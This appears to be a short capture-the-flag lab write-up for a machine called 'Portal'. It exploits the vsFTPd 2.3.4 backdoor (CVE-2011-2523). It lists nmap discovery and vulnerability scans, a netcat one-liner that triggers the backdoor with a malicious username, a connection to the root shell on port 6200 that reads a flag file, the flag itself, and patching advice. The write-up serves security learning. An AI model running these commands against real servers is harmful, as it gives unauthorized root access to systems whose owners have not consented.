
A detailed penetration testing walkthrough and exploitation report for the 'Portal' machine, focusing on CVE-2011-2523 (vsFTPd 2.3.4 Backdoor) to achieve root access.
⚠️ This project is for educational and authorized testing purposes only.
Unauthorized access to systems is strictly prohibited.
SYAFIQ
Role: Lead Penetration Tester
| Phase | Tool | Description |
|---|---|---|
| Discovery | Nmap | Scan network for live hosts |
| Enumeration | Nmap | Identify services & versions |
| Analysis | NSE Script | Detect known vulnerability |
| Exploitation | Netcat | Trigger backdoor |
| Post-Exploitation | Terminal | Gain root access & retrieve flag |
Scan for active hosts in the network:
nmap -sn --unprivileged 10.150.150.10-30
✅ Result:
-8 hosts detected -Target identified: 10.150.150.12
Scan open ports and services:
nmap -Pn -F --unprivileged -sV 10.150.150.12
✅ Findings:
-Port 21 → FTP (vsftpd) -Port 22 → SSH (OpenSSH 8.2p1)
Check for known FTP backdoor vulnerability:
nmap -Pn --unprivileged -p21 --script ftp-vsftpd-backdoor 10.150.150.12
🚨 Result:
-Target is VULNERABLE -CVE-2011-2523 confirmed
Trigger the backdoor using malicious username:
(echo "USER hello:)"; echo "PASS password"; sleep 1) | nc -nv 10.150.150.12 21
⚡ This opens a hidden root shell on port 6200
Connect to backdoor and execute commands:
(echo "id; cat /root/FLAG1.txt"; sleep 1) | nc -nv 10.150.150.12 6200
Root access obtained uid=0(root) confirmed
🏁 Flag Captured:
5ee499eb5d0b8e4269b13483e57adaa0b3815f48
Always update outdated services (vsFTPd was vulnerable) Misconfigured services can lead to full system compromise Simple scans can reveal critical vulnerabilities -🛡️ Recommendations -🔄 Update FTP service to latest version -🚫 Disable unnecessary services -🔐 Use firewall to restrict access -📊 Perform regular security audits -📚 Disclaimer
Learning cybersecurity Ethical hacking practice Authorized penetration testing
❌ Do NOT use this knowledge for illegal activities.
“Security is not a product, but a process.” — Always test, monitor, and improve.